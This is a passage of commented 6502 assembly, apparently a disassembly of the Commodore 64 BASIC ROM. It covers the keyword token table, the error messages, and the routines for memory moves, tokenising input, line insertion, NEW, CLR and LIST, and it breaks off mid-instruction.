.shift 'DEF' ; DEF $96 150 D_A0FA .shift 'POKE' ; POKE $97 151 D_A0FE .shift 'PRINT#' ; PRINT# $98 152 D_A104 .shift 'PRINT' ; PRINT $99 153 D_A109 .shift 'CONT' ; CONT $9A 154 D_A10D .shift 'LIST' ; LIST $9B 155 D_A111 .shift 'CLR' ; CLR $9C 156 D_A114 .shift 'CMD' ; CMD $9D 157 D_A117 .shift 'SYS' ; SYS $9E 158 D_A11A .shift 'OPEN' ; OPEN $9F 159 D_A11E .shift 'CLOSE' ; CLOSE $A0 160 D_A123 .shift 'GET' ; GET $A1 161 D_A126 .shift 'NEW' ; NEW $A2 162 ; table of functions, each ended with a +$80 ; next are the secondary command keywords, these can not start a statement D_A129 .shift 'TAB(' ; TAB( $A3 163 D_A12D .shift 'TO' ; TO $A4 164 D_A12F .shift 'FN' ; FN $A5 165 D_A131 .shift 'SPC(' ; SPC( $A6 166 D_A135 .shift 'THEN' ; THEN $A7 167 D_A139 .shift 'NOT' ; NOT $A8 168 D_A13C .shift 'STEP' ; STEP $A9 169 ; next are the operators D_A140 .shift '+' ; + $AA 170 D_A141 .shift '-' ; - $AB 171 D_A142 .shift '*' ; * $AC 172 D_A143 .shift '/' ; / $AD 173 D_A144 .shift '^' ; ^ $AE 174 D_A145 .shift 'AND' ; AND $AF 175 D_A148 .shift 'OR' ; OR $B0 176 D_A14A .shift '>' ; > $B1 177 D_A14B .shift '=' ; = $B2 178 D_A14C .shift '<' ; < $B3 179 ; and finally the functions D_A14D .shift 'SGN' ; SGN $B4 180 D_A150 .shift 'INT' ; INT $B5 181 D_A153 .shift 'ABS' ; ABS $B6 182 D_A156 .shift 'USR' ; USR $B7 183 D_A159 .shift 'FRE' ; FRE $B8 184 D_A15C .shift 'POS' ; POS $B9 185 D_A15F .shift 'SQR' ; SQR $BA 186 D_A162 .shift 'RND' ; RND $BB 187 D_A165 .shift 'LOG' ; LOG $BC 188 D_A168 .shift 'EXP' ; EXP $BD 189 D_A16B .shift 'COS' ; COS $BE 190 D_A16E .shift 'SIN' ; SIN $BF 191 D_A171 .shift 'TAN' ; TAN $C0 192 D_A174 .shift 'ATN' ; ATN $C1 193 D_A177 .shift 'PEEK' ; PEEK $C2 194 D_A17B .shift 'LEN' ; LEN $C3 195 D_A17E .shift 'STR$' ; STR$ $C4 196 D_A182 .shift 'VAL' ; VAL $C5 197 D_A185 .shift 'ASC' ; ASC $C6 198 D_A188 .shift 'CHR$' ; CHR$ $C7 199 D_A18C .shift 'LEFT$' ; LEFT$ $C8 200 D_A191 .shift 'RIGHT$' ; RIGHT$ $C9 201 D_A197 .shift 'MID$' ; MID$ $CA 202 ; lastly is GO, this is an add on so that GO TO, as well as GOTO, will work D_A19B .byte $47,$CF ; GO $CB 203 .byte $00 ; end marker ;****************************************************************************** ; ; BASIC error messages TxtTooManyFile .shift 'TOO MANY FILES' ; [A19E] TxtFileOpen .shift 'FILE OPEN' ; [A1AC] TxtFileNotOpen .shift 'FILE NOT OPEN' ; [A1B5] TxtFileNotFound .shift 'FILE NOT FOUND' ; [A1C2] TxtDevNotPresent .shift 'DEVICE NOT PRESENT' ; [A1D0] TxtNotInputFile .shift 'NOT INPUT FILE' ; [A1E2] TxtNotOutputFile .shift 'NOT OUTPUT FILE' ; [A1F0] TxtMissingFile .shift 'MISSING FILE NAME' ; [A1FF] TxtIllegalDevice .shift 'ILLEGAL DEVICE NUMBER' ; [A210] TxtNextWithout .shift 'NEXT WITHOUT FOR' ; [A225] TxtSyntax .shift 'SYNTAX' ; [A235] TxtReturnWithout .shift 'RETURN WITHOUT GOSUB' ; [A23B] TxtOutOfData .shift 'OUT OF DATA' ; [A24F] TxtIllegalQuan .shift 'ILLEGAL QUANTITY' ; [A25A] TxtOverflow .shift 'OVERFLOW' ; [A26A] TxtOutOfMemory .shift 'OUT OF MEMORY' ; [A272] TxtUndefdState .shift "UNDEF'D STATEMENT" ; [A27F] TxtBadSubscript .shift 'BAD SUBSCRIPT' ; [A290] TxtRedimdArray .shift "REDIM'D ARRAY" ; [A29D] TxtDivisByZero .shift 'DIVISION BY ZERO' ; [A2AA] TxtIllegalDirect .shift 'ILLEGAL DIRECT' ; [A2BA] TxtTypeMismatc .shift 'TYPE MISMATCH' ; [A2C8] TxtStringTooLong .shift 'STRING TOO LONG' ; [A2D5] TxtFileData .shift 'FILE DATA' ; [A2E4] TxtFormulaTooC .shift 'FORMULA TOO COMPLEX' ; [A2ED] TxtCantContinue .shift "CAN'T CONTINUE" ; [A300] TxtUndefdFunct .shift "UNDEF'D FUNCTION" ; [A30E] TxtVerify .shift 'VERIFY' ; [A31E] TxtLoad .shift 'LOAD' ; [A324] ; error message pointer table AddrErrorMsg ; [A328] .word TxtTooManyFile ; $01 TOO MANY FILES .word TxtFileOpen ; $02 FILE OPEN .word TxtFileNotOpen ; $03 FILE NOT OPEN .word TxtFileNotFound ; $04 FILE NOT FOUND .word TxtDevNotPresent ; $05 DEVICE NOT PRESENT .word TxtNotInputFile ; $06 NOT INPUT FILE .word TxtNotOutputFile ; $07 NOT OUTPUT FILE .word TxtMissingFile ; $08 MISSING FILE NAME .word TxtIllegalDevice ; $09 ILLEGAL DEVICE NUMBER .word TxtNextWithout ; $0A NEXT WITHOUT FOR .word TxtSyntax ; $0B SYNTAX .word TxtReturnWithout ; $0C RETURN WITHOUT GOSUB .word TxtOutOfData ; $0D OUT OF DATA .word TxtIllegalQuan ; $0E ILLEGAL QUANTITY .word TxtOverflow ; $0F OVERFLOW .word TxtOutOfMemory ; $10 OUT OF MEMORY .word TxtUndefdState ; $11 UNDEF'D STATEMENT .word TxtBadSubscript ; $12 BAD SUBSCRIPT .word TxtRedimdArray ; $13 REDIM'D ARRAY .word TxtDivisByZero ; $14 DIVISION BY ZERO .word TxtIllegalDirect ; $15 ILLEGAL DIRECT .word TxtTypeMismatc ; $16 TYPE MISMATCH .word TxtStringTooLong ; $17 STRING TOO LONG .word TxtFileData ; $18 FILE DATA .word TxtFormulaTooC ; $19 FORMULA TOO COMPLEX .word TxtCantContinue ; $1A CAN'T CONTINUE .word TxtUndefdFunct ; $1B UNDEF'D FUNCTION .word TxtVerify ; $1C VERIFY .word TxtLoad ; $1D LOAD .word TxtBreak2 ; $1E BREAK ;****************************************************************************** ; ; BASIC messages TxtOK .text $0D, 'OK', $0D, $00 TxtError .text ' ERROR', $00 TxtIn .text ' IN ', $00 TxtReady .text $0D, $0A, 'READY.', $0D, $0A, $00 TxtBreak .text $0D, $0A TxtBreak2 .text 'BREAK', $00 ;****************************************************************************** ; ; spare byte, not referenced A390 .byte $A0 ; unused ;****************************************************************************** ; ; search the stack for FOR or GOSUB activity ; return Zb=1 if FOR variable found SrchForNext ; [A38A] tsx ; copy stack pointer inx ; +1 pass return address inx ; +2 pass return address inx ; +3 pass calling routine return address inx ; +4 pass calling routine return address A_A38F ; [A38F] lda STACK+1,X ; get the token byte from the stack cmp #TK_FOR ; is it the FOR token bne A_A3B7 ; if not FOR token just exit ; it was the FOR token lda FORPNT+1 ; get FOR/NEXT variable pointer HB bne A_A3A4 ; branch if not null lda STACK+2,X ; get FOR variable pointer LB sta FORPNT ; save FOR/NEXT variable pointer LB lda STACK+3,X ; get FOR variable pointer HB sta FORPNT+1 ; save FOR/NEXT variable pointer HB A_A3A4 ; [A3A4] cmp STACK+3,X ; compare variable pointer with stacked ; variable pointer HB bne A_A3B0 ; branch if no match lda FORPNT ; get FOR/NEXT variable pointer LB cmp STACK+2,X ; compare variable pointer with stacked ; variable pointer LB beq A_A3B7 ; exit if match found A_A3B0 ; [A3B0] txa ; copy index clc ; clear carry for add adc #$12 ; add FOR stack use size tax ; copy back to index bne A_A38F ; loop if not at start of stack A_A3B7 ; [A3B7] rts ;****************************************************************************** ; ; Move a block of memory ; - open up a space in the memory, set the end of arrays MoveBlock ; [A3B8] jsr CheckAvailMem ; check available memory, do out of ; memory error if no room [A408] sta STREND ; set end of arrays LB sty STREND+1 ; set end of arrays HB ; - open up a space in the memory, don't set the array end MoveBlock2 ; [A3BF] sec ; set carry for subtract lda FacTempStor+3 ; get block end LB sbc FacTempStor+8 ; subtract block start LB sta INDEX ; save MOD(block length/$100) byte tay ; copy MOD(block length/$100) byte to Y lda FacTempStor+4 ; get block end HB sbc FacTempStor+9 ; subtract block start HB tax ; copy block length HB to X inx ; +1 to allow for count=0 exit tya ; copy block length LB to A beq A_A3F3 ; branch if length LB=0 ; block is (X-1)*256+Y bytes, do the Y bytes first lda FacTempStor+3 ; get block end LB sec ; set carry for subtract sbc INDEX ; subtract MOD(block length/$100) byte sta FacTempStor+3 ; save corrected old block end LB bcs A_A3DC ; branch if no underflow dec FacTempStor+4 ; else decrement block end HB sec ; set carry for subtract A_A3DC ; [A3DC] lda FacTempStor+1 ; get destination end LB sbc INDEX ; subtract MOD(block length/$100) byte sta FacTempStor+1 ; save modified new block end LB bcs A_A3EC ; branch if no underflow dec FacTempStor+2 ; else decrement block end HB bcc A_A3EC ; branch always A_A3E8 ; [A3E8] lda (FacTempStor+3),Y ; get byte from source sta (FacTempStor+1),Y ; copy byte to destination A_A3EC ; [A3EC] dey ; decrement index bne A_A3E8 ; loop until Y=0 ; now do Y=0 indexed byte lda (FacTempStor+3),Y ; get byte from source sta (FacTempStor+1),Y ; save byte to destination A_A3F3 ; [A3F3] dec FacTempStor+4 ; decrement source pointer HB dec FacTempStor+2 ; decrement destination pointer HB dex ; decrement block count bne A_A3EC ; loop until count = $0 rts ;****************************************************************************** ; ; check room on stack for A bytes ; if stack too deep do out of memory error CheckRoomStack ; [A3FB] asl ; *2 adc #$3E ; need at least $3E bytes free bcs OutOfMemory ; if overflow go do out of memory error ; then warm start sta INDEX ; save result in temp byte tsx ; copy stack cpx INDEX ; compare new limit with stack bcc OutOfMemory ; if stack < limit do out of memory ; error then warm start rts ;****************************************************************************** ; ; check available memory, do out of memory error if no room CheckAvailMem cpy FRETOP+1 ; compare with bottom of string space HB bcc A_A434 ; if less then exit (is ok) bne A_A412 ; skip next test if greater (tested <) ; HB was =, now do LB cmp FRETOP ; compare with bottom of string space LB bcc A_A434 ; if less then exit (is ok) ; address is > string storage ptr (oops!) A_A412 ; [A412] pha ; push address LB ldx #$09 ; set index to save FacTempStor to ; FacTempStor+9 inclusive tya ; copy address HB (to push on stack) ; save misc numeric work area A_A416 ; [A416] pha ; push byte lda FacTempStor,X ; get byte from FacTempStor to ; FacTempStor+9 dex ; decrement index bpl A_A416 ; loop until all done jsr CollectGarbage ; do garbage collection routine [B526] ; restore misc numeric work area ldx #$F7 ; set index to restore bytes A_A421 ; [A421] pla ; pop byte sta FacTempStor+9+1,X ; save byte to FacTempStor to ; FacTempStor+9 inx ; increment index bmi A_A421 ; loop while -ve pla ; pop address HB tay ; copy back to Y pla ; pop address LB cpy FRETOP+1 ; compare with bottom of string space HB bcc A_A434 ; if less then exit (is ok) bne OutOfMemory ; if greater do out of memory error ; then warm start ; HB was =, now do LB cmp FRETOP ; compare with bottom of string space LB bcs OutOfMemory ; if >= do out of memory error then ; warm start ; ok exit, carry clear A_A434 ; [A434] rts ;****************************************************************************** ; ; do out of memory error then warm start OutOfMemory ldx #$10 ; error code $10, out of memory error ; do error #X then warm start OutputErrMsg jmp (IERROR) ; do error message ;****************************************************************************** ; ; do error #X then warm start, the error message vector is initialised to point ; here OutputErrMsg2 ; [A43A] txa ; copy error number asl ; *2 tax ; copy to index lda AddrErrorMsg-2,X ; get error message pointer LB sta INDEX ; save it lda AddrErrorMsg-1,X ; get error message pointer HB sta INDEX+1 ; save it jsr CloseIoChannls ; close input and output channels [FFCC] lda #$00 ; clear A sta CurIoChan ; clear current I/O channel, flag ; default jsr OutCRLF ; print CR/LF [AAD7] jsr PrintQuestMark ; print "?" [AB45] ldy #$00 ; clear index A_A456 ; [A456] lda (INDEX),Y ; get byte from message pha ; save status and #$7F ; mask 0xxx xxxx, clear b7 jsr PrintChar ; output character [CB47] iny ; increment index pla ; restore status bpl A_A456 ; loop if character was not end marker jsr ClrBasicStack ; flush BASIC stack and clear continue ; pointer [A67A] lda #<TxtERROR ; set " ERROR" pointer LB ldy #>TxtERROR ; set " ERROR" pointer HB ;****************************************************************************** ; ; print string and do warm start, break entry OutputMessage ; [A469] jsr OutputString ; print null terminated string [AB1E] ldy CURLIN+1 ; get current line number HB iny ; increment it beq OutputREADY ; branch if was in immediate mode jsr Print_IN ; do " IN " line number message [BDC2] ;****************************************************************************** ; ; do warm start, print READY on the screen OutputREADY ; [A474] lda #<TxtREADY ; set "READY." pointer LB ldy #>TxtREADY ; set "READY." pointer HB jsr OutputString ; print null terminated string [AB1E] lda #$80 ; set for control messages only jsr CtrlKernalMsg ; control kernal messages [FF90] ;****************************************************************************** ; ; Main wait loop MainWaitLoop jmp (IMAIN) ; do BASIC warm start ;****************************************************************************** ; ; BASIC warm start, the warm start vector is initialised to point here MainWaitLoop2 ; [A483] jsr InputNewLine ; call for BASIC input [A560] stx TXTPTR ; save BASIC execute pointer LB sty TXTPTR+1 ; save BASIC execute pointer HB jsr CHRGET ; increment and scan memory [0073] tax ; copy byte to set flags beq MainWaitLoop ; loop if no input ; got to interpret the input line now .... ldx #$FF ; current line HB to -1, indicates ; immediate mode stx CURLIN+1 ; set current line number HB bcc A_A49C ; if numeric character go handle new ; BASIC line ; no line number .. immediate mode S_A496 jsr Text2TokenCode ; crunch keywords into BASIC tokens ; [A579] jmp InterpretLoop2 ; go scan and interpret code [A7E1] ;****************************************************************************** ; ; handle new BASIC line A_A49C ; [A49C] jsr LineNum2Addr ; get fixed-point number into temporary ; integer [A96B] jsr Text2TokenCode ; crunch keywords into BASIC tokens ; [A579] sty COUNT ; save index pointer to end of crunched ; line jsr CalcStartAddr ; search BASIC for temporary integer ; line number [A613] bcc A_A4ED ; if not found skip the line delete ; line # already exists so delete it ldy #$01 ; set index to next line pointer HB lda (FacTempStor+8),Y ; get next line pointer HB sta INDEX+1 ; save it lda VARTAB ; get start of variables LB sta INDEX ; save it lda FacTempStor+9 ; get found line pointer HB sta INDEX+3 ; save it lda FacTempStor+8 ; get found line pointer LB dey ; decrement index sbc (FacTempStor+8),Y ; subtract next line pointer LB clc ; clear carry for add adc VARTAB ; add start of variables LB sta VARTAB ; set start of variables LB sta INDEX+2 ; save destination pointer LB lda VARTAB+1 ; get start of variables HB adc #$FF ; -1 + carry sta VARTAB+1 ; set start of variables HB sbc FacTempStor+9 ; subtract found line pointer HB tax ; copy to block count sec ; set carry for subtract lda FacTempStor+8 ; get found line pointer LB sbc VARTAB ; subtract start of variables LB tay ; copy to bytes in first block count bcs A_A4D7 ; branch if no underflow inx ; increment block count, correct for = ; 0 loop exit dec INDEX+3 ; decrement destination HB A_A4D7 ; [A4D7] clc ; clear carry for add adc INDEX ; add source pointer LB bcc A_A4DF ; branch if no overflow dec INDEX+1 ; else decrement source pointer HB clc ; clear carry ; close up memory to delete old line A_A4DF ; [A4DF] lda (INDEX),Y ; get byte from source sta (INDEX+2),Y ; copy to destination iny ; increment index bne A_A4DF ; while <> 0 do this block inc INDEX+1 ; increment source pointer HB inc INDEX+3 ; increment destination pointer HB dex ; decrement block count bne A_A4DF ; loop until all done ; got new line in buffer and no existing same # A_A4ED ; [A4ED] jsr ResetExecPtr ; reset execution to start, clear ; variables, flush stack [A659] ; and return jsr BindLine ; rebuild BASIC line chaining [A533] lda CommandBuf ; get first byte from buffer beq MainWaitLoop ; if no line go do BASIC warm start ; else insert line into memory clc ; clear carry for add lda VARTAB ; get start of variables LB sta FacTempStor+3 ; save as source end pointer LB adc COUNT ; add index pointer to end of crunched ; line sta FacTempStor+1 ; save as destination end pointer LB ldy VARTAB+1 ; get start of variables HB sty FacTempStor+4 ; save as source end pointer HB bcc A_A508 ; branch if no carry to HB iny ; else increment HB A_A508 ; [A508] sty FacTempStor+2 ; save as destination end pointer HB jsr MoveBlock ; open up space in memory [A3B8] ; most of what remains to do is copy the crunched line into the space opened up ; in memory, however, before the crunched line comes the next line pointer and ; the line number. the line number is retrieved from the temporary integer and ; stored in memory, this overwrites the bottom two bytes on the stack. next the ; line is copied and the next line pointer is filled with whatever was in two ; bytes above the line number in the stack. this is ok because the line pointer ; gets fixed in the line chain re-build. lda LINNUM ; get line number LB ldy LINNUM+1 ; get line number HB sta STACK+$FE ; save line number LB before crunched ; line sty CommandBuf-1 ; save line number HB before crunched ; line lda STREND ; get end of arrays LB ldy STREND+1 ; get end of arrays HB sta VARTAB ; set start of variables LB sty VARTAB+1 ; set start of variables HB ldy COUNT ; get index to end of crunched line dey ; -1 A_A522 ; [A522] lda STACK+$FC,Y ; get byte from crunched line sta (FacTempStor+8),Y ; save byte to memory dey ; decrement index bpl A_A522 ; loop while more to do ; reset execution, clear variables, flush stack, rebuild BASIC chain and do ; warm start J_A52A ; [A52A] jsr ResetExecPtr ; reset execution to start, clear ; variables and flush stack [A659] jsr BindLine ; rebuild BASIC line chaining [A533] jmp MainWaitLoop ; go do BASIC warm start [A480] ;****************************************************************************** ; ; rebuild BASIC line chaining BindLine ; [A533] lda TXTTAB ; get start of memory LB ldy TXTTAB+1 ; get start of memory HB sta INDEX ; set line start pointer LB sty INDEX+1 ; set line start pointer HB clc ; clear carry for add A_A53C ; [A53C] ldy #$01 ; set index to pointer to next line HB lda (INDEX),Y ; get pointer to next line HB beq A_A55F ; exit if null, [EOT] ldy #$04 ; point to first code byte of line ; there is always 1 byte + [EOL] as null ; entries are deleted A_A544 ; [A544] iny ; next code byte lda (INDEX),Y ; get byte bne A_A544 ; loop if not [EOL] iny ; point to byte past [EOL], start of ; next line tya ; copy it adc INDEX ; add line start pointer LB tax ; copy to X ldy #$00 ; clear index, point to this line's next ; line pointer sta (INDEX),Y ; set next line pointer LB lda INDEX+1 ; get line start pointer HB adc #$00 ; add any overflow iny ; increment index to HB sta (INDEX),Y ; set next line pointer HB stx INDEX ; set line start pointer LB sta INDEX+1 ; set line start pointer HB bcc A_A53C ; go do next line, branch always A_A55F ; [A55F] rts ;****************************************************************************** ; ; call for BASIC input InputNewLine ; [A560] ldx #$00 ; set channel $00, keyboard A_A562 ; [A562] jsr InpCharErrChan ; input character from channel with ; error check [E112] cmp #$0D ; compare with [CR] beq A_A576 ; if [CR] set XY to Command buffer - 1, ; print [CR] and exit ; character was not [CR] sta CommandBuf,X ; save character to buffer inx ; increment buffer index cpx #$59 ; compare with max+1 bcc A_A562 ; branch if < max+1 ldx #$17 ; error $17, string too long error jmp OutputErrMsg ; do error #X then warm start [A437] A_A576 ; [A576] jmp SetXY2CmdBuf ; set XY to Command buffer - 1 and ; print [CR] [AACA] ;****************************************************************************** ; ; crunch BASIC tokens vector Text2TokenCode ; [A579] jmp (ICRNCH) ; do crunch BASIC tokens ;****************************************************************************** ; ; crunch BASIC tokens, the crunch BASIC tokens vector is initialised to point ; here Text2TokenCod2 ; [A57C] ldx TXTPTR ; get BASIC execute pointer LB ldy #$04 ; set save index sty GARBFL ; clear open quote/DATA flag A_A582 ; [A582] lda CommandBuf,X ; get a byte from the input buffer bpl A_A58E ; if b7 clear go do crunching cmp #TK_PI ; compare with the token for PI, this ; toke is input directly from the ; keyboard as the PI character beq A_A5C9 ; if PI then save byte and continue ; crunching ; this is the bit of code that stops you being able to enter some keywords as ; just single shifted characters. If this dropped through you would be able to ; enter GOTO as just [SHIFT]G inx ; increment read index bne A_A582 ; loop if more to do, branch always A_A58E ; [A58E] cmp #' ' ; compare with [SPACE] beq A_A5C9 ; if [SPACE] save byte then continue ; crunching sta ENDCHR ; save buffer byte as search character cmp #'"' ; compare with quote character beq A_A5EE ; if quote go copy quoted string bit GARBFL ; get open quote/DATA token flag bvs A_A5C9 ; branch if b6 of Oquote set, was DATA ; go save byte then continue crunching cmp #'?' ; compare with "?" character bne A_A5A4 ; if not "?" continue crunching lda #TK_PRINT ; else the keyword token is $99, PRINT bne A_A5C9 ; go save byte then continue crunching, ; branch always A_A5A4 ; [A5A4] cmp #'0' ; compare with "0" bcc A_A5AC ; branch if <, continue crunching cmp #'<' ; compare with "<" bcc A_A5C9 ; if <, 0123456789:; go save byte then ; continue crunching ; gets here with next character not numeric, ";" or ":" A_A5AC ; [A5AC] sty FBUFPT ; copy save index ldy #$00 ; clear table pointer sty COUNT ; clear word index dey ; adjust for pre increment loop stx TXTPTR ; save BASIC execute pointer LB, buffer ; index dex ; adjust for pre increment loop A_A5B6 ; [A5B6] iny ; next table byte inx ; next buffer byte A_A5B8 ; [A5B8] lda CommandBuf,X ; get byte from input buffer sec ; set carry for subtract sbc TblBasicCodes,Y ; subtract table byte beq A_A5B6 ; go compare next if match cmp #$80 ; was it end marker match ? bne A_A5F5 ; branch if not, not found keyword ; actually this works even if the input buffer byte is the end marker, i.e. a ; shifted character. As you can't enter any keywords as a single shifted ; character, see above, you can enter keywords in shorthand by shifting any ; character after the first. so RETURN can be entered as R[SHIFT]E, RE[SHIFT]T, ; RET[SHIFT]U or RETU[SHIFT]R. RETUR[SHIFT]N however will not work because the ; [SHIFT]N will match the RETURN end marker so the routine will try to match ; the next character. ; else found keyword ora COUNT ; OR with word index, +$80 in A makes ; token A_A5C7 ; [A5C7] ldy FBUFPT ; restore save index ; save byte then continue crunching A_A5C9 ; [A5C9] inx ; increment buffer read index iny ; increment save index sta CommandBuf-5,Y ; save byte to output lda CommandBuf-5,Y ; get byte from output, set flags beq A_A609 ; branch if was null [EOL] ; A holds the token here sec ; set carry for subtract sbc #':' ; subtract ":" beq A_A5DC ; branch if it was (is now $00) ; A now holds token-':' cmp #TK_DATA-':' ; compare with the token for DATA-':' bne A_A5DE ; if not DATA go try REM ; token was : or DATA A_A5DC ; [A5DC] sta GARBFL ; save the token-$3A A_A5DE ; [A5DE] sec ; set carry for subtract sbc #TK_REM-':' ; subtract the token for REM-':' bne A_A582 ; if wasn't REM crunch next bit of line S_A5E3 sta ENDCHR ; else was REM so set search for [EOL] ; loop for "..." etc. A_A5E5 ; [A5E5] lda CommandBuf,X ; get byte from input buffer beq A_A5C9 ; if null [EOL] save byte then continue ; crunching cmp ENDCHR ; compare with stored character beq A_A5C9 ; if match save byte then continue ; crunching A_A5EE ; [A5EE] iny ; increment save index sta CommandBuf-5,Y ; save byte to output inx ; increment buffer index bne A_A5E5 ; loop while <> 0, should never reach 0 ; not found keyword this go A_A5F5 ; [A5F5] ldx TXTPTR ; restore BASIC execute pointer LB inc COUNT ; increment word index (next word) ; now find end of this word in the table A_A5F9 ; [A5F9] iny ; increment table index lda TblBasicCodes-1,Y ; get table byte bpl A_A5F9 ; loop if not end of word yet lda TblBasicCodes,Y ; get byte from keyword table bne A_A5B8 ; go test next word if not zero byte, ; end of table ; reached end of table with no match lda CommandBuf,X ; restore byte from input buffer bpl A_A5C7 ; branch always, all unmatched bytes in ; the buffer are $00 to $7F, go save ; byte in output and continue crunching ; reached [EOL] A_A609 ; [A609] sta STACK+$FD,Y ; save [EOL] dec TXTPTR+1 ; decrement BASIC execute pointer HB lda #$FF ; point to start of buffer-1 sta TXTPTR ; set BASIC execute pointer LB rts ;****************************************************************************** ; ; search BASIC for temporary integer line number CalcStartAddr ; [A613] lda TXTTAB ; get start of memory LB ldx TXTTAB+1 ; get start of memory HB ;****************************************************************************** ; ; search Basic for temp integer line number from AX ; returns carry set if found CalcStartAddr2 ; [A617] ldy #$01 ; set index to next line pointer HB sta FacTempStor+8 ; save LB as current stx FacTempStor+9 ; save HB as current lda (FacTempStor+8),Y ; get next line pointer HB from address beq A_A640 ; pointer was zero so done, exit iny ; increment index ... iny ; ... to line # HB lda LINNUM+1 ; get temporary integer HB cmp (FacTempStor+8),Y ; compare with line # HB bcc A_A641 ; exit if temp < this line, target line ; passed beq A_A62E ; go check LB if = dey ; else decrement index bne A_A637 ; branch always A_A62E ; [A62E] lda LINNUM ; get temporary integer LB dey ; decrement index to line # LB cmp (FacTempStor+8),Y ; compare with line # LB bcc A_A641 ; exit if temp < this line, target line ; passed beq A_A641 ; exit if temp = (found line#) ; not quite there yet A_A637 ; [A637] dey ; decrement index to next line pointer ; HB lda (FacTempStor+8),Y ; get next line pointer HB tax ; copy to X dey ; decrement index to next line pointer ; LB lda (FacTempStor+8),Y ; get next line pointer LB bcs CalcStartAddr2 ; go search for line # in temporary ; integer from AX, carry always set A_A640 ; [A640] clc ; clear found flag A_A641 ; [A641] rts ;****************************************************************************** ; ; perform NEW bcNEW ; [A642] bne A_A641 ; exit if following byte to allow syntax ; error bcNEW2 ; [A644] lda #$00 ; clear A tay ; clear index sta (TXTTAB),Y ; clear pointer to next line LB iny ; increment index sta (TXTTAB),Y ; clear pointer to next line HB, erase ; program lda TXTTAB ; get start of memory LB clc ; clear carry for add adc #$02 ; add null program length sta VARTAB ; set start of variables LB lda TXTTAB+1 ; get start of memory HB adc #$00 ; add carry sta VARTAB+1 ; set start of variables HB ;****************************************************************************** ; ; reset execute pointer and do CLR ResetExecPtr ; [A659] jsr SetBasExecPtr ; set BASIC execute pointer to start of ; memory - 1 [A68E] lda #$00 ; set Zb for CLR entry ;****************************************************************************** ; ; perform CLR bcCLR ; [A65E] bne A_A68D ; exit if following byte to allow syntax ; error bcCLR2 ; [A660] jsr CloseAllChan ; close all channels and files [FFE7] bcCLR3 ; [A663] lda MEMSIZ ; get end of memory LB ldy MEMSIZ+1 ; get end of memory HB sta FRETOP ; set bottom of string space LB, clear ; strings sty FRETOP+1 ; set bottom of string space HB lda VARTAB ; get start of variables LB ldy VARTAB+1 ; get start of variables HB sta ARYTAB ; set end of variables LB, clear ; variables sty ARYTAB+1 ; set end of variables HB sta STREND ; set end of arrays LB, clear arrays sty STREND+1 ; set end of arrays HB ;****************************************************************************** ; ; do RESTORE and clear stack bcCLR4 ; [A677] jsr bcRESTORE ; perform RESTORE [A81D] ;****************************************************************************** ; ; flush BASIC stack and clear the continue pointer ClrBasicStack ; [A67A] ldx #LASTPT+2 ; get the descriptor stack start stx TEMPPT ; set the descriptor stack pointer pla ; pull the return address LB tay ; copy it pla ; pull the return address HB ldx #$FA ; set the cleared stack pointer txs ; set the stack pha ; push the return address HB tya ; restore the return address LB pha ; push the return address LB lda #$00 ; clear A sta OLDTXT+1 ; clear the continue pointer HB sta SUBFLG ; clear the subscript/FNX flag A_A68D ; [A68D] rts ;****************************************************************************** ; ; set BASIC execute pointer to start of memory - 1 SetBasExecPtr ; [A68E] clc ; clear carry for add lda TXTTAB ; get start of memory LB adc #$FF ; add -1 LB sta TXTPTR ; set BASIC execute pointer LB lda TXTTAB+1 ; get start of memory HB adc #$FF ; add -1 HB sta TXTPTR+1 ; save BASIC execute pointer HB rts ;****************************************************************************** ; ; perform LIST bcLIST ; [A69C] bcc A_A6A4 ; branch if next character not token ; (LIST n...) beq A_A6A4 ; branch if next character [NULL] (LIST) cmp #TK_MINUS ; compare with token for - bne A_A68D ; exit if not - (LIST -m) ; LIST [[n][-m]] ; this bit sets the n , if present, as the start and end A_A6A4 ; [A6A4] jsr LineNum2Addr ; get fixed-point number into temporary ; integer [A96B] jsr CalcStartAddr ; search BASIC for temporary integer ; line number [A613] jsr CHRGOT ; scan memory [0079] beq A_A6BB ; branch if no more chrs ; this bit checks the - is present cmp #TK_MINUS ; compare with token for - bne A_A641 ; return if not "-" (will be SN error) ; LIST [n]-m ; the - was there so set m as the end value jsr CHRGET ; increment and scan memory [0073] jsr LineNum2Addr ; get fixed-point number into temporary ; integer [A96B] bne A_A641 ; exit if not ok A_A6BB ; [A6BB] pla ; dump return address LB pla ; dump return address HB lda LINNUM ; get temporary integer LB ora LINNUM+1 ; OR temporary integer HB bne A_A6C9 ; branch if start set bcLIST2 ; [A6C3] lda #$FF ; set for -1 sta LINNUM ; set temporary integer LB sta LINNUM+1 ; set temporary integer HB A_A6C9 ; [A6C9] ldy #$01 ; set index for line sty GARBFL ; clear open quote flag lda (FacTempStor+8),Y ; get next line pointer HB beq A_A714 ; if null all done so exit jsr BasChkStopKey ; do CRTL-C check vector [A82C] bcLIST3 ; [A6D4] jsr OutCRLF ; print CR/LF [AAD7] iny ; increment index for line lda (FacTempStor+8),Y ; get line number LB tax ; copy to X iny ; increment index lda (FacTempStor+8),Y ; get line number HB cmp LINNUM+1 ; compare with temporary integer HB bne A_A6E6 ; branch if no HB match cpx LINNUM ; compare with temporary integer LB beq A_A6E8 ; branch if = last line to do, < will ; pass next branch A_A6E6 ; else ...: bcs A_A714 ; if greater all done so exit A_A6E8 ; [A6E8] sty FORPNT ; save index for line jsr PrintXAasInt ; print XA as unsigned integer [BDCD] lda #' ' ; space is the next character A_A6EF ; [A6EF] ldy FORPNT ; get index for line and #$7F ; mask top out bit of character A_A6F3 ; [A6F3] jsr PrintChar ; go print the character [AB47] cmp #'"' ; was it " character bne A_A700 ; if not skip the quote handle ; we are either entering or leaving a pair of quotes lda GARBFL ; get open quote flag eor #$FF ; toggle it sta GARBFL ; save it back A_A700 ; [A700] iny ; increment index beq A_A714 ; line too long so just bail out and do ; a warm start lda (FacTempStor+8),Y ; get next byte bne TokCode2Text ; if not [EOL] (go print character) ; was [EOL] tay ; else clear index lda (FacTempStor+8),Y ; get next line pointer LB tax ; copy to X iny ; increment index lda (FacTempStor+8),Y ; get next line pointer HB stx FacTempStor+8 ; set pointer to line LB sta FacTempStor+9 ; set pointer to line HB bne A_A6C9 ; go do next line if not [EOT] ; else ... A_A714 ; [A714] jmp BasWarmStart2 ; do warm start [E386] ;****************************************************************************** ; ; uncrunch BASIC tokens TokCode2Text ; [A717] jmp (IQPLOP) ; do uncrunch BASIC tokens ;****************************************************************************** ; ; uncrunch BASIC tokens, the uncrunch BASIC tokens vector is initialised to ; point here TokCode2Text2 ; [A71A] bpl A_A6F3 ; just go print it if not token byte ; else was token byte so uncrunch it cmp 